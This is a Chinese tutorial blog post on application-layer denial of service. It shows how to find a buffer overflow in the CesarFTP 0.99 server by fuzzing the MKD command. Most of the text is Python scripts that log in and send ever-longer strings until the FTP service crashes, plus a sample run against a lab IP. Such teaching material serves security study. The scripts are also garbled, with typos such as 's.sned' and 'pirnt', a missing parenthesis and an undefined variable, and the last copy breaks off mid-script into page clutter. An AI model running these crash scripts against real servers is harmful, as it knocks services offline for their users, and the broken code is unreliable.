(八)拒绝服务–应用层DoS 攻击

1. 简介
应用服务漏洞
服务代码存在漏洞,遇异常提交数据时程序崩溃
应用处理大量并发请求能力有限,被拒绝的是应用或OS
缓冲区溢出漏洞
向目标函数随机提交数据,特定情况下数据覆盖临近寄存器或内存
影响: 远程代码执行、DOS
利用模糊测试方法发现缓冲区溢出漏洞
CesarFTP 0.99 服务漏洞
server.exe是服务端程序,CesarFTP是配置管理程序。
打开配置服务端程序,再打开配置管理工具添加账号
点击进入文件存取权限,指定程序的主目录。
ftp_fuzz.py # MKD/RMD
#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import sys
if len(sys.argv) != 6:
print “用法: ./ftp_fuzz.py [目标IP] [目标端口] [载荷] [步长] [最大长度]”
print “举例:./ftp_fuzz.py 1.1.1.1 21 A 100 1000”
ip = str(sys.argv[1])
port = int(sys.argv[2])
char = sys.argv[3]
i = int(sys.argv[4])
step = int(sys.argv[4])
max = int(sys.argv[5])
user = raw_input(str(“FTP账号: “))
passwd = raw_input(str(“FTP密码: “))
command = raw_input(str(“FTP命令: “))
while i <= max:
try:
payload = command + ” ” + (char * i)
print “已发送” + str(i) + “个 (” + char + “)”
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((ip,port))
s.recv(2014)
s.send(‘USER’ + user + ‘\r\n’)
s.recv(2014)
s.send(‘PASS’ + passwd + ‘\r\n’)
s.recv(2014)
s.send(payload + ‘\r\n’)
s.sned(‘QUIT\r\n’)
s.recv(2014)
s.close()
i = i + step
except:
pirnt “\n服务已崩溃”
sys.exit()
print “\n未发现缓冲区溢出漏洞”
[ftp_fuzz1.py]
#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import sys
if len(sys.argv) != 6:
print “用法: ./ftp_fuzz.py [目标IP] [目标端口] [载荷] [步长] [最大长度]”
print “举例:./ftp_fuzz.py 1.1.1.1 21 A 100 1000”
ip = str(sys.argv[1])
port = int(sys.argv[2])
char = sys.argv[3]
i = int(sys.argv[4]
step = int(sys.argv[4])
user = raw_input(str(“FTP账号: “))
passwd = raw_input(str(“FTP密码: “))
command = raw_input(str(“FTP命令: “))
while i <= max:
try:
payload = command + ” ” + (‘\n’ * i)
print “已发送” + str(i) + “个换行符”
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((ip,port))
s.recv(2014)
s.send(‘USER’ + user + ‘\r\n’)
s.recv(2014)
s.send(‘PASS’ + passwd + ‘\r\n’)
s.recv(2014)
s.send(payload + ‘\r\n’)
s.sned(‘QUIT\r\n’)
s.recv(2014)
s.close()
i = i + step
except:
pirnt “\n服务已崩溃”
sys.exit()
print “\n未发现缓冲区溢出漏洞”
root@K:~# ./ftp_fuzz.py
用法: ./ftp_fuzz.py [目标IP] [目标端口] [载荷] [步长] [最大长度]
举例:./ftp_fuzz.py 1.1.1.1 21 A 100 1000
root@K:~# ./ftp_fuzz.py 192.168.1.127 21 100 1000
FTP账号:anonymous
FTP密码:
FTP命令:MKD
[ftp_fuzz.py]
#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import sys
if len(sys.argv) != 6:
print “用法: ./ftp_fuzz.py [目标IP] [目标端口] [载荷] [步长] [最大长度]”
print “举例:./ftp_fuzz.py 1.1.1.1 21 A 100 1000”
ip = str(sys.argv[1])
port = int(sys.argv[2])
char = sys.argv[3]
i = int(sys.argv[4])
step
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Micr067

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值